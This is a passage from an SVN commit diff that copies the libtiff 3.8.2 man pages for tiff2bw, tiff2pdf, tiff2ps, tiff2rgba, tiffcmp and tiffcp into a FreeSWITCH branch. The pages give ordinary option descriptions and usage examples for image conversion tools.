+Specify a contrast curve to apply in generating the thumbnail images.
+By default pixels values are passed through a linear contrast curve
+that simply maps the pixel value ranges.
+Alternative curves are:
+.B exp50
+for a 50% exponential curve,
+.B exp60
+for a 60% exponential curve,
+.B exp70
+for a 70% exponential curve,
+.B exp80
+for a 80% exponential curve,
+.B exp90
+for a 90% exponential curve,
+.B exp
+for a pure exponential curve,
+.B linear
+for a linear curve.
+.SH BUGS
+There are no options to control the format of the saved thumbnail images.
+.SH "SEE ALSO"
+.BR tiffdump (1),
+.BR tiffgt (1),
+.BR tiffinfo (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2bw.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2bw.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiff2bw.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2bw.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2bw.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,94 @@
+.\"	$Id: tiff2bw.1,v 1.2 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFF2BW 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiff2bw \- convert a color
+.SM TIFF
+image to greyscale
+.SH SYNOPSIS
+.B tiff2bw
+[
+options
+]
+.I input.tif
+.I output.tif
+.SH DESCRIPTION
+.I Tiff2bw
+converts an
+.SM RGB
+or Palette color
+.SM TIFF
+image to a greyscale image by
+combining percentages of the red, green, and blue channels.
+By default, output samples are created by taking
+28% of the red channel, 59% of the green channel, and 11% of
+the blue channel.
+To alter these percentages, the
+.BR \-R ,
+.BR \-G ,
+and
+.BR \-B
+options may be used.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm,
+.B "-c zip
+for the Deflate compression algorithm,
+.B "-c g3
+for the CCITT Group 3 compression algorithm,
+.B "-c g4
+for the CCITT Group 4 compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch (the default).
+.TP
+.B \-r
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.TP
+.B \-R
+Specify the percentage of the red channel to use (default 28).
+.TP
+.B \-G
+Specify the percentage of the green channel to use (default 59).
+.TP
+.B \-B
+Specify the percentage of the blue channel to use (default 11).
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2pdf.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2pdf.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiff2pdf.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2pdf.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2pdf.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,244 @@
+.\" $Id: tiff2pdf.1,v 1.4 2005/11/02 11:07:19 dron Exp $
+.\" 
+.\"  Copyright (c) 2003 Ross Finlayson
+.\" 
+.\"  Permission to use, copy, modify, distribute, and sell this software and 
+.\"  its documentation for any purpose is hereby granted without fee, provided
+.\"  that (i) the above copyright notices and this permission notice appear in
+.\"  all copies of the software and related documentation, and (ii) the name of
+.\"  Ross Finlayson may not be used in any advertising or
+.\"  publicity relating to the software without the specific, prior written
+.\"  permission of Ross Finlayson.
+.\"  
+.\"  THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\"  EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\"  WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\"  
+.\"  IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR
+.\"  ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\"  OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\"  WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\"  LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\"  OF THIS SOFTWARE.
+.\" 
+.\" Process this file with
+.\" groff -man -Tascii tiff2pdf.1
+.\"
+.TH TIFF2PDF 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiff2pdf - convert a TIFF image to a PDF document
+.SH SYNOPSIS
+.B tiff2pdf [
+.I options 
+.B ] 
+.I input.tiff
+.SH DESCRIPTION
+.B tiff2pdf
+opens a TIFF image and writes a PDF document to standard output.
+.PP
+The program converts one TIFF file to one PDF file, including multiple page 
+TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF 
+files that contain data of TIFF photometric interpretations of bilevel, 
+grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by 
+.I libtiff 
+and PDF.
+.PP
+If you have multiple TIFF files to convert into one PDF file then use 
+.I tiffcp 
+or other program to concatenate the files into a multiple page TIFF file.  
+If the input TIFF file is of huge dimensions (greater than 10000 pixels height
+or width) convert the input image to a tiled TIFF if it is not already.
+.PP
+The standard output is standard output.  Set the output file name with the 
+.BI -o output.pdf
+option.
+.PP
+All black and white files are compressed into a single strip CCITT G4 Fax
+compressed PDF, unless tiled, where tiled black and white images are
+compressed into tiled CCITT G4 Fax compressed PDF, 
+.I libtiff 
+CCITT support is assumed.
+.PP
+Color and grayscale data can be compressed using either JPEG compression,
+ITU-T T.81, or Zip/Deflate LZ77 compression.  Set the compression type using
+the 
+.B \-j
+or
+.B \-z
+options.  JPEG compression support 
+requires that 
+.I libtiff 
+be configured with JPEG support, and Zip/Deflate compression support requires
+that 
+.I libtiff 
+be configured with Zip support, in tiffconf.h.  Use only one or the other of 
+.B \-j
+and
+.B \-z.
+.PP
+If the input TIFF contains single strip CCITT G4 Fax compressed information, 
+then that is written to the PDF file without transcoding, unless the options 
+of no compression and no passthrough are set, 
+.B \-d
+and
+.B \-n.
+.PP
+If the input TIFF contains JPEG or single strip Zip/Deflate compressed 
+information, and they are configured, then that is written to the PDF file 
+without transcoding, unless the options of no compression and no passthrough 
+are set.
+.PP
+The default page size upon which the TIFF image is placed is determined by 
+the resolution and extent of the image data.  Default values for the TIFF 
+image resolution can be set using the
+.B \-x
+and
+.B \-y
+options.  The page size can be set using the
+.B \-p
+option for paper size, or
+.B \-w
+and
+.B \-l
+for paper width and length, then each page of the TIFF image is centered on
+its page.  The distance unit for default resolution and page width and
+length can be set by the
+.B \-u
+option, the default unit is inch.
+.PP
+Various items of the output document information can be set with the
+.B \-e,
+.B \-c, 
+.B \-a,
+.B \-t,
+.B \-s,
+and
+.B \-k
+options.  Setting the argument of the option to "" for these 
+tags causes the relevant document information field to be not written.  Some 
+of the document information values otherwise get their information from the 
+input TIFF image, the software, author, document name, and image description.
+.PP
+The Portable Document Format (PDF) specification is copyrighted by Adobe 
+Systems, Incorporated.
+.SH OPTIONS
+.TP
+.BI \-o output-file
+Set the output to go to file 
+.I output-file
+.TP
+.B \-j  
+Compress with JPEG (requires libjpeg configured with libtiff).
+.TP
+.B \-z  
+Compress with Zip/Deflate (requires zlib configured with libtiff).
+.TP
+.BI \-q quality
+Set the compression quality, 1-100 for JPEG.
+.TP
+.B \-n
+Do not allow data to be converted without uncompressing, no compressed
+data passthrough.
+.TP
+.BI \-b
+Set PDF "Interpolate" user preference.
+.TP
+.B \-d  
+Do not compress (decompress).
+.TP
+.B \-i  
+Invert colors.
+.TP
+.BI \-p paper-size
+Set paper size, eg "letter", "legal", "A4".
+.TP
+.BI \-u [i|m]
+Set distance unit,
+.I i
+for inch, 
+.I m
+for centimeter.
+.TP
+.BI \-w width
+Set width in units.
+.TP
+.BI \-l length
+Set length in units.
+.TP
+.BI \-x xres
+Set x/width resolution default.
+.TP
+.BI \-y yres
+Set y/length resolution default.
+.TP
+.BI \-r [d|o]
+Set
+.I d
+for resolution default for images without resolution, 
+.I o for resolution override for all images.
+.TP
+.BI \-f
+Set PDF "Fit Window" user preference.
+.TP
+.BI \-e YYYYMMDDHHMMSS
+Set document information date, overrides image or current date/time default,
+.I YYYYMMDDHHMMSS.
+.TP
+.BI \-c creator
+Set document information creator, overrides image software default.
+.TP
+.BI \-a author
+Set document information author, overrides image artist default
+.TP
+.BI \-t title
+Set document information title, overrides image document name default
+.TP
+.BI \-s subject
+Set document information subject, overrides image image description default
+.TP
+.BI \-k keywords
+Set document information keywords.
+.TP
+.B \-h  
+List usage reminder to stderr and exit.
+.TP
+.SH EXAMPLES
+.TP
+The following example would generate the file output.pdf from input.tiff.
+.PP
+.RS
+.NF
+tiff2pdf -o output.pdf input.tiff
+.FI
+.RE
+.PP
+The following example would generate PDF output from input.tiff and write it 
+to standard output.
+.PP
+.RS
+.NF
+tiff2pdf input.tiff
+.FI
+.RE
+.PP
+The following example would generate the file output.pdf from input.tiff, 
+putting the image pages on a letter sized page, compressing the output 
+with JPEG, with JPEG quality 75, setting the title to "Document", and setting 
+the "Fit Window" option.
+.PP
+.RS
+.NF
+tiff2pdf -p letter -j -q 75 -t "Document" -f -o output.pdf input.tiff
+.FI
+.RE
+.SH BUGS
+Please report bugs via the web interface at 
+.IP
+\%http://bugzilla.remotesensing.org/enter_bug.cgi?product=libtiff
+.SH "SEE ALSO"
+.BR libtiff (3) ,
+.BR tiffcp (1) , 
+.BR tiff2ps (1)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2ps.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2ps.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiff2ps.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2ps.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2ps.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,250 @@
+.\" $Id: tiff2ps.1,v 1.8 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFF2PS 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiff2ps \- convert a
+.SM TIFF
+image to \*(Ps\(tm
+.SH SYNOPSIS
+.B tiff2ps
+[
+.I options
+]
+.I "input.tif ..."
+.SH DESCRIPTION
+.I tiff2ps
+reads
+.SM TIFF
+images and writes \*(Ps or Encapsulated \*(Ps (EPS)
+on the standard output.
+By default,
+.I tiff2ps
+writes Encapsulated \*(Ps for the first image in the specified
+.SM TIFF
+image file.
+.PP
+By default,
+.I tiff2ps
+will generate \*(Ps that fills a printed area specified
+by the 
+.SM TIFF
+tags in the input file.
+If the file does not contain
+.I XResolution
+or
+.I YResolution
+tags, then the printed area is set according to the image dimensions.
+The
+.B \-w
+and
+.B \-h
+options (see below)
+can be used to set the dimensions of the printed area in inches;
+overriding any relevant
+.SM TIFF
+tags.
+.PP
+The \*(Ps generated for
+.SM RGB,
+palette, and
+.SM CMYK
+images uses the
+.I colorimage
+operator.
+The \*(Ps generated for
+greyscale and bilevel images
+uses the
+.I image
+operator.
+When the
+.I colorimage
+operator is used, \*(Ps code to emulate this operator
+on older \*(Ps printers is also generated.
+Note that this emulation code can be very slow.
+.PP
+Color images with associated alpha data are composited over
+a white background.
+.SH OPTIONS
+.TP
+.B \-1
+Generate \*(Ps Level 1 (the default).
+.TP
+.B \-2
+Generate \*(Ps Level 2.
+.TP
+.B \-3
+Generate \*(Ps Level 3. It basically allows one to use the /flateDecode
+filter for ZIP compressed TIFF images.
+.TP
+.B \-a
+Generate output for all IFDs (pages) in the input file.
+.TP
+.B \-b
+Specify the bottom margin for the output (in inches). This does not affect
+the height of the printed image.
+.TP
+.B \-c
+Center the image in the output. This option only shows an effect if both
+the -w and the -h option are given.
+.TP
+.B \-d
+Set the initial
+.SM TIFF
+directory to the specified directory number.
+(NB: directories are numbered starting at zero.)
+This option is useful for selecting individual pages in a
+multi-page (e.g. facsimile) file.
+.TP
+.B \-e
+Force the generation of Encapsulated \*(Ps (implies -z).
+.TP
+.B \-h
+Specify the vertical size of the printed area (in inches).
+.TP
+.B \-H
+Specify the maximum height of image (in inches). Images with larger sizes will
+be split in several pages. Option
+.B \-L
+may be used for specifying size of split images overlapping.
+.TP
+.B \-i
+Enable/disable pixel interpolation.  This option requires a
+single numeric value: zero to disable pixel interpolation and
+non-zero to enable.  The default is enabled.
+.TP
+.B \-L
+Specify the size of overlapping for split images (in inches). Used in
+conjunction with
+.B \-H
+option.
+.TP
+.B \-l
+Specify the left margin for the output (in inches). This does not affect
+the width of the printed image.
+.TP
+.B \-m
+Where possible render using the
+.B imagemask
+\*(Ps operator instead of the image operator.  When this option is specified
+.I tiff2ps
+will use
+.B imagemask
+for rendering 1 bit deep images.  If this option is not specified
+or if the image depth is greater than 1 then the image operator
+is used.
+.TP
+.B \-o
+Set the initial
+.SM TIFF
+directory to the
+.SM IFD
+at the specified file offset.
+This option is useful for selecting thumbnail images and the
+like which are hidden using the SubIFD tag.
+.TP
+.B \-p
+Force the generation of (non-Encapsulated) \*(Ps.
+.TP
+.B \-r
+Rotate image by 180 degrees.
+.TP
+.B \-s
+Generate output for a single IFD (page) in the input file.
+.TP
+.B \-w
+Specify the horizontal size of the printed area (in inches).
+.TP
+.B \-x
+Override resolution units specified in the TIFF as centimeters.
+.TP
+.B \-y
+Override resolution units specified in the TIFF as inches.
+.TP
+.B \-z
+When generating \*(Ps Level 2, data is scaled so that it does not
+image into the 
+.I deadzone
+on a page (the outer margin that the printing device is unable to mark).
+This option suppresses this behavior.
+When \*(Ps Level 1 is generated, data is imaged to the entire printed
+page and this option has no affect.
+.SH EXAMPLES
+The following generates \*(Ps Level 2 for all pages of a facsimile:
+.RS
+.nf
+tiff2ps -a2 fax.tif | lpr
+.fi
+.RE
+Note also that if you have version 2.6.1 or newer of Ghostscript then you
+can efficiently preview facsimile generated with the above command.
+.PP
+To generate Encapsulated \*(Ps for a the image at directory 2
+of an image use:
+.RS
+.nf
+tiff2ps -d 1 foo.tif
+.fi
+.RE
+(notice that directories are numbered starting at zero.)
+.PP
+If you have a long image, it may be split in several pages:
+.RS
+.nf
+tiff2ps -h11 -w8.5 -H14 -L.5 foo.tif > foo.ps
+.fi
+.RE
+The page size is set to 8.5x11 by
+.B \-w
+and
+.B \-h
+options. We will accept a small amount of vertical compression, so
+.B \-H
+set to 14. Any pages between 11 and 14 inches will be fit onto one page.
+Pages longer than 14 inches are cut off at 11 and continued on the next
+page. The
+.B \-L.5
+option says to repeat a half inch on the next page (to improve readability).
+.SH BUGS
+Because \*(Ps does not support the notion of a colormap,
+8-bit palette images produce 24-bit \*(Ps images.
+This conversion results in output that is six times
+bigger than the original image and which takes a long time
+to send to a printer over a serial line.
+Matters are even worse for 4-, 2-, and 1-bit palette images.
+.SH BUGS
+Does not handle tiled images when generating PS Level I output.
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffgt (1),
+.BR tiffmedian (1),
+.BR tiff2bw (1),
+.BR tiffsv (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2rgba.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2rgba.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiff2rgba.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2rgba.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiff2rgba.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,93 @@
+.\" $Id: tiff2rgba.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFF2RGBA 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiff2rgba \- convert a 
+.SM TIFF
+image to RGBA color space
+.SH SYNOPSIS
+.B tiff2rgba
+[
+options
+]
+.I input.tif
+.I output.tif
+.SH DESCRIPTION
+.I Tiff2rgba
+converts a wide variety of TIFF images into an RGBA TIFF image.  This 
+includes the ability to translate different color spaces and photometric
+interpretation into RGBA, support for alpha blending, and translation
+of many different bit depths into a 32bit RGBA image.
+.P
+Internally this program is implemented using the
+.I TIFFReadRGBAImage()
+function, and it suffers any limitations of that image.  This includes
+limited support for > 8 BitsPerSample images, and flaws with some
+esoteric combinations of BitsPerSample, photometric interpretation, 
+block organization and planar configuration.  
+.P
+The generated images are stripped images with four samples per pixel 
+(red, green, blue and alpha) or if the -n flag is used, three samples
+per pixel (red, green, and blue).  The resulting images are always planar
+configuration contiguous.  For this reason, this program is a useful utility
+for transform exotic TIFF files into a form ingestible by almost any TIFF
+supporting software. 
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression (the default),
+.B "-c packbits"
+for the PackBits compression algorithm,
+.B "-c zip
+for the Deflate compression algorithm,
+.B "-c jpeg
+for the JPEG compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch.
+.TP
+.B \-r
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.TP
+.B \-b
+Process the image one block (strip/tile) at a time instead of by reading
+the whole image into memory at once.  This may be necessary for very large
+images on systems with limited RAM.
+.TP
+.B \-n
+Drop the alpha component from the output file, producing a pure RGB file.
+Currently this does not work if the -b flag is also in effect.
+.SH "SEE ALSO"
+.BR tiff2bw (1),
+.BR TIFFReadRGBAImage (3t),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcmp.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcmp.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffcmp.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcmp.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcmp.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+.\" $Id: tiffcmp.1,v 1.4 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFCMP 1 "November 2, 2005" "libtiff"
+.SH NAME
+tiffcmp \- compare two
+.SM TIFF
+files
+.SH SYNOPSIS
+.B tiffcmp
+[
+.I options
+]
+.I "file1.tif file2.tif"
+.SH DESCRIPTION
+.I Tiffcmp
+compares the tags and data in two files created according
+to the Tagged Image File Format, Revision 6.0.
+The schemes used for compressing data in each file
+are immaterial when data are compared\-data are compared on
+a scanline-by-scanline basis after decompression.
+Most directory tags are checked; notable exceptions are:
+.IR GrayResponseCurve ,
+.IR ColorResponseCurve ,
+and
+.IR ColorMap
+tags.
+Data will not be compared if any of the
+.IR BitsPerSample ,
+.IR SamplesPerPixel ,
+or
+.I ImageWidth
+values are not equal.
+By default,
+.I tiffcmp
+will terminate if it encounters any difference.
+.SH OPTIONS
+.TP
+.B \-l
+List each byte of image data that differs between the files.
+.TP
+.B \-z number
+List specified number of image data bytes that differs between the files.
+.TP
+.B \-t
+Ignore any differences in directory tags.
+.SH BUGS
+Tags that are not recognized by the library are not
+compared; they may also generate spurious diagnostics.
+.PP
+The image data of tiled files is not compared, since the TIFFReadScanline()
+function is used.  A error will be reported for tiled files.
+.PP
+The pixel and/or sample number reported in differences may be off
+in some exotic cases. 
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.bR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcp.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcp.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffcp.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcp.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffcp.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,273 @@
+.\" $Id: tiffcp.1,v 1.6 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFCP 1 "September 20, 2005" "libtiff"
+.SH NAME
+tiffcp \- copy (and possibly convert) a
+.SM TIFF
+file
+.SH SYNOPSIS
+.B tiffcp
+[
+.I options
+]
+.I "src1.tif ... srcN.tif dst.tif"
+.SH DESCRIPTION
+.I tiffcp
+combines one or more files created according
+to the Tag Image File Format, Revision 6.0
+into a single
+.SM TIFF
+file.
+Because the output file may be compressed using a different
+algorithm than the input files,
+.I tiffcp
+is most often used to convert between different compression
+schemes.
+.PP
+By default, 
+.I tiffcp
+will copy all the understood tags in a
+.SM TIFF
+directory of an input
+file to the associated directory in the output file.
+.PP
+.I tiffcp
+can be used to reorganize the storage characteristics of data
+in a file, but it is explicitly intended to not alter or convert
+the image data content in any way.
+.SH OPTIONS
+.TP
+.B \-b image
+subtract the following monochrome image from all others
+processed.  This can be used to remove a noise bias
+from a set of images.  This bias image is typically an
+image of noise the camera saw with its shutter closed.
+.TP
+.B \-B
+Force output to be written with Big-Endian byte order.
+This option only has an effect when the output file is created or
+overwritten and not when it is appended to.
+.TP
+.B \-C
+Suppress the use of ``strip chopping'' when reading images
+that have a single strip/tile of uncompressed data.
+.TP
+.B \-c
+Specify the compression to use for data written to the output file:
+.B none 
+for no compression,
+.B packbits
+for PackBits compression,
+.B lzw
+for Lempel-Ziv & Welch compression,
+.B jpeg
+for baseline JPEG compression,
+.B zip
+for Deflate compression,
+.B g3
+for CCITT Group 3 (T.4) compression,
+and
+.B g4
+for CCITT Group 4 (T.6) compression.
+By default
+.I tiffcp
+will compress data according to the value of the
+.I Compression
+tag found in the source file.
+.IP
+The
+.SM CCITT
+Group 3 and Group 4 compression algorithms can only
+be used with bilevel data.
+.IP
+Group 3 compression can be specified together with several
+T.4-specific options:
+.B 1d
+for 1-dimensional encoding,
+.B 2d
